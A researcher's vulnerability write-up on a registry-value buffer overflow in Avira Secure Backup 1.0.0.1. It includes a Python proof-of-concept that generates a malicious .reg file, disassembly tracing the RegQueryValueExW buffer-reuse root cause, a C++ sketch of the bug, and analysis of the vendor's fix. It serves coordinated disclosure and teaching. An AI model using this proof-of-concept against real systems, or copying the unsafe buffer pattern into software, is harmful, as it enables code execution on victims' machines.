Hello Followers,
Avira is one of the leading Anti-Virus vendors and also the biggest one in Germany. Security is their daily business and they’ve done a quite nice job in hardening their products. But even the toughest software may be broken sometimes ;-). So, this time I’d like to present a common vulnerability with a really interesting (and uncommon) root cause.
Quoted from my official Full-Disclosure post:
A buffer overflow vulnerability has been identified in Avira Secure Backup v1.0.0.1 Build 3616.
The application loads the values of the Registry Keys “AutoUpdateDownloadFilename” and “AutoUpdateProgressFilename” from “HKEY_CURRENT_USER\Software\Avira Secure Backup” on startup but does not properly validate the length of the fetched values before using them in the further application context, which leads to a buffer overflow condition with possible persistent code execution.
The application queries the values via a RegQueryValueExW call and a fixed buffer pointer (lpData) and a fixed buffer size pointer (lpcbData). If the input string size is greater than the predefined size, the application uses a second RegQueryValueExW call with the new buffer size set to the length of the input string, but reuses the original buffer pointer (lpData), which has not been resized. This results in overwriting memory space inlcuding SEH – records.
An attacker needs to force the victim to import an arbitrary .reg file in order to exploit the vulnerability. Successful exploits can allow attackers to execute arbitrary code with the privileges of the user running the application. Failed exploits will result in a denial-of-service condition. The attack scenario is persistent, because the code is executed as long as the manipulated values are loaded into the Registry.
Crashing the application!
To exploit this vulnerability, the following script creates an arbitrary .reg file, which needs to be imported into the target registry.
#!/usr/bin/python file="poc.reg" junk1="\xCC" * 1240 poc="Windows Registry Editor Version 5.00\n\n" poc=poc + "[HKEY_CURRENT_USER\Software\Avira Secure Backup]\n" poc=poc + "\"AutoUpdateProgressFilename\"=\"" + junk1 + "\"" try: print "[*] Creating exploit file...\n"; writeFile = open (file, "w") writeFile.write( poc ) writeFile.close() print "[*] File successfully created!"; except: print "[!] Error while creating file!";
Starting the application results in EIP control:
via overwritten SEH records:
Sounds like a boring strcpy() overflow ?
After importing the arbitrary .reg file created by the Python script, the Call stack of the application looks like the following on crash-time:
The last entry clearly shows that a return address has been overwritten by the PoC code indicating that the application flow might be controlled. The last call is a ntdll.memmove triggered somewhere from within the function at 0x0043F0D2.
The complete vulnerable code part located at this address:
0043F0D2 /$ 55 PUSH EBP 0043F0D3 |. 8BEC MOV EBP,ESP 0043F0D5 |. 83EC 10 SUB ESP,10 0043F0D8 |. 53 PUSH EBX 0043F0D9 |. 56 PUSH ESI 0043F0DA |. 8B35 14704E00 MOV ESI,DWORD PTR DS:[<&ADVAPI32.RegOpen>; ADVAPI32.RegOpenKeyExW 0043F0E0 |. 57 PUSH EDI 0043F0E1 |. 8D45 F8 LEA EAX,DWORD PTR SS:[EBP-8] 0043F0E4 |. 50 PUSH EAX ; /pHandle 0043F0E5 |. 68 19000200 PUSH 20019 ; |Access 0043F0EA |. 33DB XOR EBX,EBX ; | 0043F0EC |. 53 PUSH EBX ; |Reserved => 0 0043F0ED |. FF75 0C PUSH DWORD PTR SS:[EBP+C] ; |Subkey 0043F0F0 |. 885D FF MOV BYTE PTR SS:[EBP-1],BL ; | 0043F0F3 |. FF75 08 PUSH DWORD PTR SS:[EBP+8] ; |hKey 0043F0F6 |. C745 F4 200800>MOV DWORD PTR SS:[EBP-C],820 ; | 0043F0FD |. FFD6 CALL ESI ; \RegOpenKeyExW 0043F0FF |. 8B3D 10704E00 MOV EDI,DWORD PTR DS:[<&ADVAPI32.RegQuer>; ADVAPI32.RegQueryValueExW 0043F105 |. 85C0 TEST EAX,EAX 0043F107 |. 75 2A JNZ SHORT Avira_Se.0043F133 0043F109 |. 8D45 F4 LEA EAX,DWORD PTR SS:[EBP-C] 0043F10C |. 50 PUSH EAX ; /pBufSize 0043F10D |. FF75 14 PUSH DWORD PTR SS:[EBP+14] ; |Buffer 0043F110 |. 8D45 F0 LEA EAX,DWORD PTR SS:[EBP-10] ; | 0043F113 |. 50 PUSH EAX ; |pValueType 0043F114 |. 53 PUSH EBX ; |Reserved => NULL 0043F115 |. FF75 10 PUSH DWORD PTR SS:[EBP+10] ; |ValueName 0043F118 |. FF75 F8 PUSH DWORD PTR SS:[EBP-8] ; |hKey 0043F11B |. FFD7 CALL EDI ; \RegQueryValueExW 0043F11D |. 85C0 TEST EAX,EAX 0043F11F |. 75 04 JNZ SHORT Avira_Se.0043F125 0043F121 |. C645 FF 01 MOV BYTE PTR SS:[EBP-1],1 0043F125 |> FF75 F8 PUSH DWORD PTR SS:[EBP-8] ; /hKey 0043F128 |. FF15 0C704E00 CALL DWORD PTR DS:[<&ADVAPI32.RegCloseKe>; \RegCloseKey 0043F12E |. 385D FF CMP BYTE PTR SS:[EBP-1],BL 0043F131 |. 75 3B JNZ SHORT Avira_Se.0043F16E 0043F133 |> 8D45 F8 LEA EAX,DWORD PTR SS:[EBP-8] 0043F136 |. 50 PUSH EAX 0043F137 |. 68 19010200 PUSH 20119 0043F13C |. 53 PUSH EBX 0043F13D |. FF75 0C PUSH DWORD PTR SS:[EBP+C] 0043F140 |. FF75 08 PUSH DWORD PTR SS:[EBP+8] 0043F143 |. FFD6 CALL ESI 0043F145 |. 85C0 TEST EAX,EAX 0043F147 |. 75 25 JNZ SHORT Avira_Se.0043F16E 0043F149 |. 8D45 F4 LEA EAX,DWORD PTR SS:[EBP-C] 0043F14C |. 50 PUSH EAX 0043F14D |. FF75 14 PUSH DWORD PTR SS:[EBP+14] 0043F150 |. 8D45 F0 LEA EAX,DWORD PTR SS:[EBP-10] 0043F153 |. 50 PUSH EAX 0043F154 |. 53 PUSH EBX 0043F155 |. FF75 10 PUSH DWORD PTR SS:[EBP+10] 0043F158 |. FF75 F8 PUSH DWORD PTR SS:[EBP-8] 0043F15B |. FFD7 CALL EDI 0043F15D |. 85C0 TEST EAX,EAX 0043F15F |. 75 04 JNZ SHORT Avira_Se.0043F165 0043F161 |. C645 FF 01 MOV BYTE PTR SS:[EBP-1],1 0043F165 |> FF75 F8 PUSH DWORD PTR SS:[EBP-8] ; /hKey 0043F168 |. FF15 0C704E00 CALL DWORD PTR DS:[<&ADVAPI32.RegCloseKe>; \RegCloseKey 0043F16E |> 33C0 XOR EAX,EAX 0043F170 |. 385D FF CMP BYTE PTR SS:[EBP-1],BL 0043F173 |. 5F POP EDI 0043F174 |. 5E POP ESI 0043F175 |. 0F95C0 SETNE AL 0043F178 |. 5B POP EBX 0043F179 |. C9 LEAVE 0043F17A \. C3 RETN
Looks like there is no common strcpy() ;-)…
Hunting the Bug!
The vulnerable code part needs to be divided into different parts:
0043F0D2 /$ 55 PUSH EBP 0043F0D3 |. 8BEC MOV EBP,ESP 0043F0D5 |. 83EC 10 SUB ESP,10 0043F0D8 |. 53 PUSH EBX 0043F0D9 |. 56 PUSH ESI 0043F0DA |. 8B35 14704E00 MOV ESI,DWORD PTR DS:[<&ADVAPI32.RegOpen>; ADVAPI32.RegOpenKeyExW 0043F0E0 |. 57 PUSH EDI 0043F0E1 |. 8D45 F8 LEA EAX,DWORD PTR SS:[EBP-8] 0043F0E4 |. 50 PUSH EAX ; /pHandle 0043F0E5 |. 68 19000200 PUSH 20019 ; |Access 0043F0EA |. 33DB XOR EBX,EBX ; | 0043F0EC |. 53 PUSH EBX ; |Reserved => 0 0043F0ED |. FF75 0C PUSH DWORD PTR SS:[EBP+C] ; |Subkey 0043F0F0 |. 885D FF MOV BYTE PTR SS:[EBP-1],BL ; | 0043F0F3 |. FF75 08 PUSH DWORD PTR SS:[EBP+8] ; |hKey 0043F0F6 |. C745 F4 200800>MOV DWORD PTR SS:[EBP-C],820 ; | 0043F0FD |. FFD6 CALL ESI ; \RegOpenKeyExW
The first part queries the base key „HKEY_CURRENT_USER\Software\Avira Secure Backup“ using a CALL ESI (0x0043F0FD), which holds the function RegOpenKeyExW, that has been moved into ESI at 0x0043F0DA.
The function arguments for the RegOpenKeyExW can be found on the stack:
The second part queries the final values:
0043F0FF |. 8B3D 10704E00 MOV EDI,DWORD PTR DS:[<&ADVAPI32.RegQuer>; ADVAPI32.RegQueryValueExW 0043F105 |. 85C0 TEST EAX,EAX 0043F107 |. 75 2A JNZ SHORT Avira_Se.0043F133 0043F109 |. 8D45 F4 LEA EAX,DWORD PTR SS:[EBP-C] 0043F10C |. 50 PUSH EAX ; /pBufSize 0043F10D |. FF75 14 PUSH DWORD PTR SS:[EBP+14] ; |Buffer 0043F110 |. 8D45 F0 LEA EAX,DWORD PTR SS:[EBP-10] ; | 0043F113 |. 50 PUSH EAX ; |pValueType 0043F114 |. 53 PUSH EBX ; |Reserved => NULL 0043F115 |. FF75 10 PUSH DWORD PTR SS:[EBP+10] ; |ValueName 0043F118 |. FF75 F8 PUSH DWORD PTR SS:[EBP-8] ; |hKey 0043F11B |. FFD7 CALL EDI ; \RegQueryValueExW
The function RegQueryValueExW is moved into EDI (0x0043F0FF) and later called (0x0043F11B) with the ValueName (first: “AutoUpdateProgressFilename” and in a second run “AutoUpdateDownloadFilename”) of the vulnerable key. The function arguments for the RegQueryValueExW call on the stack are:
Let’s have a look at a basic RegQueryValueExW function call and its arguments (http://msdn.microsoft.com/en-us/library/windows/desktop/ms724911(v=vs.85).aspx)
LONG WINAPI RegQueryValueEx( _In_ HKEY hKey, _In_opt_ LPCTSTR lpValueName, _Reserved_ LPDWORD lpReserved, _Out_opt_ LPDWORD lpType, _Out_opt_ LPBYTE lpData, _Inout_opt_ LPDWORD lpcbData );
In the context of this vulnerability the two most important arguments are „lpData“ that stores a pointer to a buffer, where the input is placed to and „lpcbData“ which stores a pointer to a variable that holds the size of the buffer. This results in a correlated, logical function call like:
LONG WINAPI RegQueryValueEx("9C", "AutoUpdateProgressFilename", NULL, &[0012EC48], &[0012EC7C], &[0012EC4C])
The arguments can be found at the referenced addresses:
0x0012EC7C (aka lpData) is empty because it’s the target location where the buffer content will be stored:
0x0012EC4C (aka lpcbData) contains a hex value of 820 – decimal for 2080. This value has been moved to memory at 0x0043F0F6:
This means the target buffer has a length of 2080 bytes, which needs to be reduced by half, because this is a Unicode call that inserts a „0x00“ after each character, resulting in a total usable buffer size of 1040 chars.
0043F11D |. 85C0 TEST EAX,EAX
After RegQueryValueExW is called, it stores its return-value into EAX. If the content of lpData is less or equal of the size stored in lpcbData, the function will exit with the return code 0, therefor EAX will hold the value 0. Using a TEST call at 0x0043F11D the application checks whether the value of EAX is 0, which means the call has exited normally.
But in this test case EAX holds the value „EA“:
This return code means „ERROR_MORE_DATA“, which indicates that the parsed value from „AutoUpdateProgressFilename“ is too big for the buffer, resulting in the JNZ (0x0043F11F) being taken – since the TEST statement returns „false“:
0043F11F |. 75 04 JNZ SHORT Avira_Se.0043F125 0043F121 |. C645 FF 01 MOV BYTE PTR SS:[EBP-1],1
This bypasses the instruction at 0x0043F121, which would move the value „1“ into EBP-1. Let’s have a look at the stored value at EBP-1 (0x0012EC57):
EBP-1 holds „0“ and is not replaced by a „1“ which can be correlated to a simple „IF“ statement later. The application jumps to 0x0043F125:
0043F125 |> FF75 F8 PUSH DWORD PTR SS:[EBP-8] ; /hKey 0043F128 |. FF15 0C704E00 CALL DWORD PTR DS:[<&ADVAPI32.RegCloseKe>; \RegCloseKey
…and closes the opened Reg-Key using a RegCloseKey call. The following code part is important for why this crash happens:
0043F125 |> FF75 F8 PUSH DWORD PTR SS:[EBP-8] ; /hKey 0043F128 |. FF15 0C704E00 CALL DWORD PTR DS:[<&ADVAPI32.RegCloseKe>; \RegCloseKey
The application compares (0x0043F12E) the value at EBP-1 with BL. EBP-1 still holds „0“ and BL holds 0 too:
This results in the next jump not being taken and the application continues to execute the next part:
0043F133 |> 8D45 F8 LEA EAX,DWORD PTR SS:[EBP-8] 0043F136 |. 50 PUSH EAX 0043F137 |. 68 19010200 PUSH 20119 0043F13C |. 53 PUSH EBX 0043F13D |. FF75 0C PUSH DWORD PTR SS:[EBP+C] 0043F140 |. FF75 08 PUSH DWORD PTR SS:[EBP+8] 0043F143 |. FFD6 CALL ESI
The application CALLs ESI (0x0043F143) referencing RegOpenKeyExW to open the Registry key „ HKEY_CURRENT_USER\Software\Avira Secure Backup“ (0x0043F13D) again.
0043F149 |. 8D45 F4 LEA EAX,DWORD PTR SS:[EBP-C] 0043F14C |. 50 PUSH EAX 0043F14D |. FF75 14 PUSH DWORD PTR SS:[EBP+14] 0043F150 |. 8D45 F0 LEA EAX,DWORD PTR SS:[EBP-10] 0043F153 |. 50 PUSH EAX 0043F154 |. 53 PUSH EBX 0043F155 |. FF75 10 PUSH DWORD PTR SS:[EBP+10] 0043F158 |. FF75 F8 PUSH DWORD PTR SS:[EBP-8] 0043F15B |. FFD7 CALL EDI
Then the application CALLs EDI (0x0043F15B) referencing RegQueryValueExW, but this time with different parameters, which can be found on the stack:
The CALL arguments are pushed in reversed order onto the stack, resulting in the following logical function call, which is at first view exactly the same as in the first CALL.
LONG WINAPI RegQueryValueEx("9C", "AutoUpdateProgressFilename", NULL, &[0012EC48], &[0012EC7C], &[0012EC4C])
But this time the argument lpcbData has changed to a hex value of 9B2 (decimal=2482), which is exactly the length (+2 for terminators) of the input string from the PoC script. This means the attacker is able to control the lpcbData argument :-)! This new value has been set by the ReqQueryValueExW call at 0x0043F11B.
0x0012EC4C (aka lpcbData):
But the application still uses the old memory space at 0x0012EC7C, which has not been resized at this point to store the data, which leads to attacker-controlled overwriting of memory space!
Reverse Engineering the Bug!
The root cause of this security vulnerability is the re-usage of the same memory address location for storing the lpData value and the fact that the attacker is able to control the size of the lpcbData variable without resizing lpcbData buffer-size on the application side. An exemplary C++ code snippet that demonstrates the vulnerability:
#include <windows.h> void main() { HKEY hKey = 0; DWORD pValueType = REG_SZ; char buffer[255] = {0}; DWORD pBufsize = sizeof(buffer); if( RegOpenKeyEx( HKEY_CURRENT_USER, TEXT("Software\Avira Secure Backup"), 0, KEY_QUERY_VALUE, &hKey ) == ERROR_SUCCESS ) { auto ret = RegQueryValueEx( hKey, TEXT("AutoUpdateProgressFilename"), 0, &pValueType, (LPBYTE)buffer, &pBufsize ); if (RegQueryValueEx( hKey, TEXT("AutoUpdateProgressFilename"), 0, &pValueType, (LPBYTE)buffer, &pBufsize ) == ERROR_MORE_DATA) { DWORD pBufsize2 = sizeof(ret); RegQueryValueEx( hKey, TEXT("AutoUpdateProgressFilename"), 0, &pValueType, (LPBYTE)buffer, &pBufsize2 ); } } }
The first RegQueryValueEx call uses pBufsize which is sizeof(buffer) = 255. If the input value is bigger than the buffer, the RegQueryValueEx call returns ERROR_MORE_DATA. If this happens, a second RegQueryValueEx – call uses the same buffer pointer (buffer), but with a new buffer size pointer (pBufsize2), which is sizeof (ret) = the size of the previous input buffer.
Reverse Engineering the Fix!
I’m always skeptical. Avira released v1.0.0.2 of their Secure Backup product, let’s see how they’ve fixed the issue:
0043F8B2 /$ 55 PUSH EBP 0043F8B3 |. 8BEC MOV EBP,ESP 0043F8B5 |. 83EC 0C SUB ESP,0C 0043F8B8 |. 53 PUSH EBX 0043F8B9 |. 8D45 FC LEA EAX,DWORD PTR SS:[EBP-4] 0043F8BC |. 50 PUSH EAX ; /pHandle 0043F8BD |. 68 19000200 PUSH 20019 ; |Access 0043F8C2 |. 6A 00 PUSH 0 ; |Reserved = 0 0043F8C4 |. FF75 0C PUSH DWORD PTR SS:[EBP+C] ; |Subkey 0043F8C7 |. 32DB XOR BL,BL ; | 0043F8C9 |. FF75 08 PUSH DWORD PTR SS:[EBP+8] ; |hKey 0043F8CC |. C745 F8 200800>MOV DWORD PTR SS:[EBP-8],820 ; | 0043F8D3 |. FF15 14804E00 CALL DWORD PTR DS:[<&ADVAPI32.RegOpenKey>; \RegOpenKeyExW 0043F8D9 |. 85C0 TEST EAX,EAX 0043F8DB |. 75 28 JNZ SHORT Avira_Se.0043F905 0043F8DD |. 8D45 F8 LEA EAX,DWORD PTR SS:[EBP-8] 0043F8E0 |. 50 PUSH EAX ; /pBufSize 0043F8E1 |. FF75 14 PUSH DWORD PTR SS:[EBP+14] ; |Buffer 0043F8E4 |. 8D45 F4 LEA EAX,DWORD PTR SS:[EBP-C] ; | 0043F8E7 |. 50 PUSH EAX ; |pValueType 0043F8E8 |. 6A 00 PUSH 0 ; |Reserved = NULL 0043F8EA |. FF75 10 PUSH DWORD PTR SS:[EBP+10] ; |ValueName 0043F8ED |. FF75 FC PUSH DWORD PTR SS:[EBP-4] ; |hKey 0043F8F0 |. FF15 10804E00 CALL DWORD PTR DS:[<&ADVAPI32.RegQueryVa>; \RegQueryValueExW 0043F8F6 |. 85C0 TEST EAX,EAX 0043F8F8 |. 75 02 JNZ SHORT Avira_Se.0043F8FC 0043F8FA |. FEC3 INC BL 0043F8FC |> FF75 FC PUSH DWORD PTR SS:[EBP-4] ; /hKey 0043F8FF |. FF15 0C804E00 CALL DWORD PTR DS:[<&ADVAPI32.RegCloseKe>; \RegCloseKey 0043F905 |> 33C0 XOR EAX,EAX 0043F907 |. 84DB TEST BL,BL 0043F909 |. 0F95C0 SETNE AL 0043F90C |. 5B POP EBX 0043F90D |. C9 LEAVE 0043F90E \. C3 RETN
Yay – the code part became smaller ;-).
The buffer size (lpcbData) is still 2080 (decimal), but the IF statement and the second RegQueryValueExW call is missing:
…resulting in a fixed vulnerability.
Some last words about the exploitability!
-
It’s a unicode based vulnerability (RegQueryValueExW)
-
SafeSEH is in place to prevent the misusage of the overwritten SEH records:
I didn’t take a deeper look at how to bypass the SafeSEH constellation, because finding the root-cause is always more important…but if you have a smart idea on how to beneficially exploit this vulnerability, leave a message below this post :-).
Some very last words about the disclosure process!
I’ve reported this flaw on 3rd November 2013 and the updated version was released on 13th November 2013. It has taken Avira only 10 days to fix this issue and release an update. WOW! Quite fast!!! You’re now on the second place on my fastest-vendor-patch-list (1st place is still Nullsoft with a 5-day patch).
I’d like to thank the Avira Technical Support for the very friendly and always professional way of dealing with my report. Another shiny example how vulnerability coordination really works!